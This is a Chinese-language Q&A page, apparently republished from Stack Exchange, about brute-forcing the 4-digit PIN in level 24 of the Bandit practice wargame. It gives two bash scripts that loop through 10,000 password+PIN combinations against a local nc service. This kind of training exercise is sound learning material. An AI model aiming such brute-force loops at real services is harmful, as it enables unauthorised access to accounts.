Bandit 24暴力破解超时问题求助
Bandit24关卡暴力破解超时问题解决思路
问题情况
我在Bandit闯关游戏的第24关遇到了问题:按照任务逻辑,我写了脚本生成上一关密码+4位PIN的组合,保存为possible_pins.txt后执行nc localhost 30002 < possible_pins.txt暴力破解。但执行后一直返回Wrong! Please enter the correct current password. Try again.,最终触发Timeout. Exiting.错误退出。尝试给nc添加-w参数延长等待时间,问题依然存在。希望沿用当前简单脚本的思路解决,不想用复杂陌生的脚本,求排查代码问题或绕过超时的方法。
当前使用的PIN生成脚本
#!/bin/bash password="<password here>" for pin in {0000..9999} do echo $password $pin done
问题原因
你的脚本语法本身没问题,但直接通过管道把1万条请求一次性发给nc的方式有问题:
- 服务器会因为短时间接收大量请求触发超时机制,不会逐条验证请求
-w参数是控制nc自身的连接超时时间,无法控制每条请求的发送间隔和服务器的响应处理,所以没用
解决方案(沿用简单脚本思路)
方法一:循环逐条发送请求(推荐)
修改脚本,每次只发送一条请求,处理服务器响应后再发下一条,同时添加短暂延迟避免触发频率限制:
#!/bin/bash password="<上一关密码>" for pin in {0000..9999} do # 发送请求并过滤错误提示,一旦找到正确结果就退出 response=$(echo "$password $pin" | nc localhost 30002) if ! echo "$response" | grep -q "Wrong! Please enter the correct current password. Try again."; then echo "找到正确组合:$password $pin" echo "服务器响应:$response" exit 0 fi sleep 0.1 # 添加0.1秒延迟,降低请求频率 done
方法二:用xargs处理已生成的文件
如果已经生成了possible_pins.txt文件,可以用xargs逐条读取并发送请求:
cat possible_pins.txt | xargs -L 1 -I {} sh -c 'response=$(echo "{}" | nc localhost 30002); if ! echo "$response" | grep -q "Wrong!"; then echo "正确组合:{}"; echo "响应:$response"; exit 0; fi'
内容的提问来源于stack exchange,提问作者Hhadley
相关产品推荐
相关产品推荐

